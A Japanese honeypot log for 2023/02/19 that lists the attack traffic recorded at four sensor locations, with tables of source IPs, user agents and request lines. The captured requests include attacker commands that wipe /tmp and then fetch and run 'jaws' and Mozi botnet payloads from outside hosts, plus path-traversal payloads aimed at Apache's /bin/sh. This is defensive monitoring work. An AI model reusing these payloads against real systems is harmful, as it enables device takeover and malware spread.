ハニーポット(仮) 観測記録 2023/02/19分です。
特徴
共通
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
Location:JP
D-link製品の脆弱性を狙うアクセス
aiohttpによるスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 100.43.163.61/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws
cd /tmp; rm -rf *; wget update.rawupdater.cf/jaws; sh /tmp/jaws
Location:US
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
を確認しました。
Location:UK
D-link製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
112.124.42.80に関する不正通信
Gh0stRATのような動き
を確認しました。
Location:SG
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Apache Tomcatへのスキャン行為
を確認しました。
他
アクセス数推移
JP：総アクセス数：93 (前日比：-108)
US：総アクセス数：89 (前日比：-5)
UK：総アクセス数：104 (前日比：-14)
SG：総アクセス数：90 (前日比：-131)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 3.236.56.49 | United States |
| 3 | 31.130.144.12 | Russia |
| 1 | 34.201.145.195 | United States |
| 1 | 39.83.150.26 | China |
| 3 | 43.154.141.71 | Singapore |
| 1 | 45.79.181.104 | United States |
| 1 | 45.79.181.223 | United States |
| 1 | 45.79.181.251 | United States |
| 1 | 45.134.140.181 | United Kingdom |
| 1 | 46.109.138.241 | Latvia |
| 1 | 65.132.186.86 | United States |
| 1 | 67.21.36.5 | United States |
| 3 | 68.183.17.134 | United States |
| 1 | 74.82.47.3 | United States |
| 2 | 89.208.103.146 | Russia |
| 1 | 92.205.189.11 | Germany |
| 5 | 95.214.235.205 | Ukraine |
| 18 | 104.192.0.50 | United States |
| 2 | 109.237.97.180 | Russia |
| 1 | 111.53.145.254 | China |
| 4 | 128.14.133.58 | United States |
| 1 | 131.255.138.226 | Peru |
| 8 | 135.125.217.54 | France |
| 6 | 135.125.244.48 | France |
| 1 | 143.244.41.219 | United Kingdom |
| 5 | 161.35.154.255 | United States |
| 1 | 162.142.125.9 | United States |
| 1 | 162.243.132.7 | United States |
| 3 | 165.227.149.186 | United States |
| 1 | 172.104.11.4 | United States |
| 2 | 172.104.11.34 | United States |
| 1 | 172.104.11.46 | United States |
| 1 | 172.105.128.13 | United States |
| 1 | 181.119.64.69 | Argentina |
| 1 | 185.254.196.115 | Ukraine |
| 1 | 191.227.220.170 | Brazil |
| 1 | 192.227.173.18 | United States |
| 1 | 195.37.190.89 | Germany |
| 1 | 198.199.117.152 | United States |
| 1 | 205.210.31.13 | United States |
| 1 | 205.210.31.177 | United States |
| 1 | 221.15.237.39 | China |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 29 | - |
| 20 | Go-http-client/1.1 |
| 2 | Hello, world |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.126 Safari/537.36 |
| 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 23 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0 |
| 1 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) |
| 2 | Mozilla/5.0 zgrab/0.x |
| 1 | Python/3.7 aiohttp/3.7.4.post0 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | Gh0st\xad |
||
| 1 | HELP |
||
| 1 | MGLNDD_18.179.20.5_80\n |
||
| 1 | \x16\x03\x01\x01H\x01 |
||
| 15 | \x16\x03\x01 |
||
| 1 | \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n |
||
| 1 | \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n |
||
| 1 | \xe2\x83\xf4\x87\x89>.\v'\xafu\xc0\xf9\xf2g\xa1I\x81zm=0kA\xae\x19+\xdd\xac\x86ad;\x9fm\xf9.&eMrx\xf4\x1f\xf6c\x07\x9e\xf3\t=g\b\v\xd2\xaf\x068\xb1\x91x}\xe2~:\xb2_\xccU\x13zL\x82\xf4\xd3\xef\"\xba|` |
||
| 25 | GET | /.env |
HTTP/1.1 |
| 2 | GET | /.git/config |
HTTP/1.1 |
| 1 | GET | /apis/apps/v1/namespaces/kube-system/daemonsets |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=user&psd=user |
HTTP/1.0 |
| 2 | GET | /client/get_targets |
HTTP/1.1 |
| 1 | GET | /druid/index.html |
HTTP/1.1 |
| 2 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /manager/html |
HTTP/1.1 |
| 1 | GET | /printer/objects/list |
HTTP/1.1 |
| 4 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 100.43.163.61/jaws;sh+/tmp/jaws |
|
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+update[.]rawupdater[.]cf/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 18 | GET | /v3/time |
HTTP/1.1 |
| 2 | GET | http[:]//ip-api.com/json/ |
HTTP/1.1 |
| 3 | HEAD | /Core/Skin/Login.aspx |
HTTP/1.1 |
| 1 | HEAD | / |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%2e/%2e%2e/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/sphere1.png |
HTTP/1.1 |
| 1 | POST | /HNAP1/ |
HTTP/1.0 |
Location:US
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 20 | 37.139.128.91 | Bulgaria |
| 3 | 45.79.172.21 | United States |
| 1 | 45.79.181.251 | United States |
| 19 | 51.79.29.48 | Canada |
| 3 | 68.183.185.105 | United States |
| 1 | 79.137.202.2 | Russia |
| 2 | 92.118.39.82 | Romania |
| 2 | 109.237.97.180 | Russia |
| 1 | 119.123.148.199 | China |
| 4 | 128.14.209.162 | United States |
| 3 | 134.209.21.14 | United States |
| 3 | 139.162.167.216 | Netherlands |
| 1 | 143.244.41.219 | United Kingdom |
| 2 | 143.244.50.172 | United Kingdom |
| 2 | 152.89.196.211 | Russia |
| 1 | 158.69.134.51 | Canada |
| 2 | 167.94.138.117 | United States |
| 1 | 172.104.11.4 | United States |
| 1 | 172.104.11.34 | United States |
| 1 | 172.104.11.51 | United States |
| 1 | 172.104.131.24 | United States |
| 1 | 172.105.128.12 | United States |
| 1 | 185.180.143.138 | Portugal |
| 1 | 185.224.128.236 | Netherlands |
| 1 | 185.225.74.55 | Bulgaria |
| 1 | 185.246.220.98 | Bulgaria |
| 1 | 187.149.59.9 | Mexico |
| 2 | 192.155.90.118 | United States |
| 2 | 192.155.90.220 | United States |
| 1 | 192.241.206.15 | United States |
| 1 | 193.47.61.76 | Bulgaria |
| 1 | 194.87.151.116 | Czechia |
| 1 | 195.37.190.89 | Germany |
| 1 | 216.218.206.67 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 22 | - |
| 1 | Go-http-client/1.1 |
| 2 | Hello World |
| 20 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 |
| 21 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 2 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 2 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 1 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) |
| 2 | Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html) |
| 3 | Mozilla/5.0 zgrab/0.x |
| 1 | python-requests/2.22.0 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | \x16\x03\x01\x01H\x01 |
||
| 1 | \x16\x03\x01\x02 |
||
| 16 | \x16\x03\x01 |
||
| 1 | \x16\x03 |
||
| 21 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /_profiler/empty/search/results |
HTTP/1.1 |
| 4 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /cgi-bin/authLogin.cgi |
HTTP/1.1 |
| 2 | GET | /cgi-bin/downloadFlile.cgi |
HTTP/1.1 |
| 2 | GET | /client/get_targets |
HTTP/1.1 |
| 2 | GET | /config/getuser?index=0 |
HTTP/1.1 |
| 4 | GET | /debug/default/view?panel=config |
HTTP/1.1 |
| 1 | GET | /druid/index.html |
HTTP/1.1 |
| 2 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /gate.php |
HTTP/1.1 |
| 4 | GET | /info.php |
HTTP/1.1 |
| 1 | GET | /nf1W |
HTTP/1.1 |
| 4 | GET | /phpinfo.php |
HTTP/1.1 |
| 1 | GET | /printer/objects/list |
HTTP/1.1 |
| 1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//119[.]123[.]148[.]199:35567/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 |
HTTP/1.0 |
| 1 | GET | /um3H |
HTTP/1.1 |
| 1 | GET | /wp-includes/ID3/license.txt |
HTTP/1.1 |
| 1 | GET | http[:]//ip-api.com/json/ |
HTTP/1.1 |
| 5 | HEAD | / |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%2e/%2e%2e/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/sphere1.png |
HTTP/1.1 |
| 2 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 1 | POST | /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh |
HTTP/1.1 |
| 1 | PRI | * |
HTTP/2.0 |
Location:UK
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 3 | 36.156.28.130 | China |
| 2 | 45.79.128.205 | United States |
| 1 | 45.79.181.104 | United States |
| 1 | 45.79.181.179 | United States |
| 1 | 45.79.181.223 | United States |
| 1 | 45.128.234.149 | Bulgaria |
| 27 | 51.79.29.48 | Canada |
| 1 | 60.191.125.35 | China |
| 1 | 64.62.197.95 | United States |
| 1 | 67.129.123.70 | United States |
| 1 | 79.137.207.22 | Russia |
| 2 | 80.85.241.15 | Russia |
| 1 | 89.185.85.133 | Russia |
| 1 | 89.208.103.146 | Russia |
| 3 | 92.118.39.82 | Romania |
| 2 | 92.255.85.173 | Hong Kong |
| 2 | 101.68.211.3 | China |
| 1 | 103.173.157.210 | Vietnam |
| 1 | 107.150.103.17 | United States |
| 1 | 107.170.242.7 | United States |
| 2 | 109.237.97.180 | Russia |
| 2 | 109.237.98.226 | Russia |
| 1 | 117.194.159.189 | India |
| 2 | 121.46.25.189 | China |
| 1 | 122.194.11.103 | China |
| 4 | 128.14.209.162 | United States |
| 1 | 143.244.41.219 | United Kingdom |
| 3 | 143.244.50.172 | United Kingdom |
| 2 | 152.89.196.211 | Russia |
| 5 | 159.203.4.119 | United States |
| 2 | 162.142.125.210 | United States |
| 2 | 167.94.138.119 | United States |
| 2 | 167.94.146.60 | United States |
| 2 | 170.130.165.76 | United States |
| 1 | 172.104.11.4 | United States |
| 1 | 172.104.11.51 | United States |
| 1 | 172.105.77.209 | United States |
| 1 | 172.105.128.11 | United States |
| 2 | 172.105.128.12 | United States |
| 1 | 185.180.143.8 | Portugal |
| 3 | 185.246.220.98 | Bulgaria |
| 1 | 192.155.90.118 | United States |
| 1 | 192.155.90.220 | United States |
| 1 | 192.241.223.14 | United States |
| 1 | 193.42.33.249 | Bulgaria |
| 2 | 194.165.16.76 | Panama |
| 1 | 195.37.190.89 | Germany |
| 1 | 205.210.31.16 | United States |
| 1 | 209.141.48.150 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 37 | - |
| 1 | 2.0.1) Gecko/20100101 Firefox/4.0.1\" |
| 3 | Go-http-client/1.1 |
| 3 | Hello World |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 |
| 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
| 30 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 3 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36 |
| 4 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 3 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 3 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) |
| 2 | Mozilla/5.0 zgrab/0.x |
| 1 | \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv |
| 1 | msnbot/1.1 ( http[:]//search[.]msn[.]com/msnbot.htm) |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | - |
||
| 1 | Gh0st\xad |
||
| 1 | HELP |
||
| 1 | MGLNDD_132.145.66.34_80\n |
||
| 4 | \x03 |
||
| 2 | \x16\x03\x01\x01H\x01 |
||
| 2 | \x16\x03\x01\x01\x07\x01 |
||
| 18 | \x16\x03\x01 |
||
| 1 | \x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n |
||
| 1 | \xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n |
||
| 30 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /.well-known/security.txt |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=user&psd=user |
HTTP/1.0 |
| 1 | GET | /cgi-bin/authLogin.cgi |
HTTP/1.1 |
| 3 | GET | /cgi-bin/downloadFlile.cgi |
HTTP/1.1 |
| 3 | GET | /config/getuser?index=0 |
HTTP/1.1 |
| 1 | GET | /druid/index.html |
HTTP/1.1 |
| 7 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /home.asp |
HTTP/1.1 |
| 1 | GET | /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | GET | /printer/objects/list |
HTTP/1.1 |
| 1 | GET | /ransom.html |
HTTP/1.1 |
| 2 | GET | /robots.txt |
HTTP/1.1 |
| 3 | GET | http[:]//ip-api.com/json/ |
HTTP/1.1 |
| 1 | HEAD | / |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%2e/%2e%2e/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | http[:]//112[.]124[.]42[.]80:63435/ |
HTTP/1.1 |
| 1 | POST | /HNAP1/ |
HTTP/1.0 |
| 4 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 3 | PRI | * |
HTTP/2.0 |
Location:SG
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 42.224.200.132 | China |
| 2 | 45.9.110.186 | Hong Kong |
| 1 | 45.33.80.243 | United States |
| 1 | 45.79.128.205 | United States |
| 2 | 45.79.181.94 | United States |
| 1 | 45.79.181.223 | United States |
| 1 | 45.128.234.149 | Bulgaria |
| 28 | 51.79.29.48 | Canada |
| 1 | 65.49.20.69 | United States |
| 1 | 79.137.202.2 | Russia |
| 2 | 92.118.39.82 | Romania |
| 1 | 95.215.85.90 | Russia |
| 1 | 103.173.157.210 | Vietnam |
| 1 | 107.150.103.17 | United States |
| 2 | 109.237.97.180 | Russia |
| 1 | 129.146.203.195 | United States |
| 1 | 143.244.41.219 | United Kingdom |
| 3 | 143.244.50.172 | United Kingdom |
| 2 | 146.190.41.214 | United States |
| 4 | 152.32.200.79 | Hong Kong |
| 2 | 152.89.196.211 | Russia |
| 2 | 162.142.125.219 | United States |
| 2 | 162.142.125.221 | United States |
| 1 | 162.243.138.16 | United States |
| 2 | 167.94.146.60 | United States |
| 1 | 172.104.11.4 | United States |
| 1 | 172.105.128.11 | United States |
| 1 | 172.105.128.12 | United States |
| 2 | 172.105.128.13 | United States |
| 1 | 185.180.143.8 | Portugal |
| 1 | 185.225.74.55 | Bulgaria |
| 1 | 185.246.220.98 | Bulgaria |
| 1 | 192.155.90.118 | United States |
| 1 | 192.155.90.220 | United States |
| 1 | 192.241.209.67 | United States |
| 1 | 193.42.33.249 | Bulgaria |
| 4 | 193.118.53.194 | United States |
| 2 | 194.165.16.77 | Panama |
| 1 | 205.210.31.11 | United States |
| 4 | 207.154.197.170 | United States |
| 1 | 209.141.48.150 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 27 | - |
| 4 | Go-http-client/1.1 |
| 2 | Hello World |
| 1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 |
| 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 |
| 5 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 2 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
| 29 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 2 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0 |
| 3 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 |
| 3 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) |
| 3 | Mozilla/5.0 zgrab/0.x |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | MGLNDD_13.67.44.234_80 |
||
| 2 | \x03 |
||
| 1 | \x16\x03\x01\x01H\x01 |
||
| 1 | \x16\x03\x01\x01\t\x01 |
||
| 16 | \x16\x03\x01 |
||
| 29 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /HNAP1 |
HTTP/1.1 |
| 1 | GET | /PSIA/index |
HTTP/1.1 |
| 1 | GET | /aaa9 |
HTTP/1.1 |
| 1 | GET | /aab8 |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=admin&psd=admin |
HTTP/1.0 |
| 1 | GET | /cgi-bin/authLogin.cgi |
HTTP/1.1 |
| 2 | GET | /cgi-bin/downloadFlile.cgi |
HTTP/1.1 |
| 3 | GET | /config/getuser?index=0 |
HTTP/1.1 |
| 1 | GET | /druid/index.html |
HTTP/1.1 |
| 7 | GET | /favicon.ico |
HTTP/1.1 |
| 1 | GET | /home.asp |
HTTP/1.1 |
| 1 | GET | /manager/html |
HTTP/1.1 |
| 2 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /sitemap.xml |
HTTP/1.1 |
| 1 | GET | http[:]//ip-api.com/json/ |
HTTP/1.1 |
| 2 | HEAD | / |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/.%2e/%2e%2e/apache2/icons/sphere1.png |
HTTP/1.1 |
| 1 | HEAD | /icons/sphere1.png |
HTTP/1.1 |
| 2 | POST | /boaform/admin/formLogin |
HTTP/1.1 |
| 1 | POST | /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh |
HTTP/1.1 |
| 1 | POST | /onvif/device_service |
HTTP/1.1 |
| 3 | PRI | * |
HTTP/2.0 |
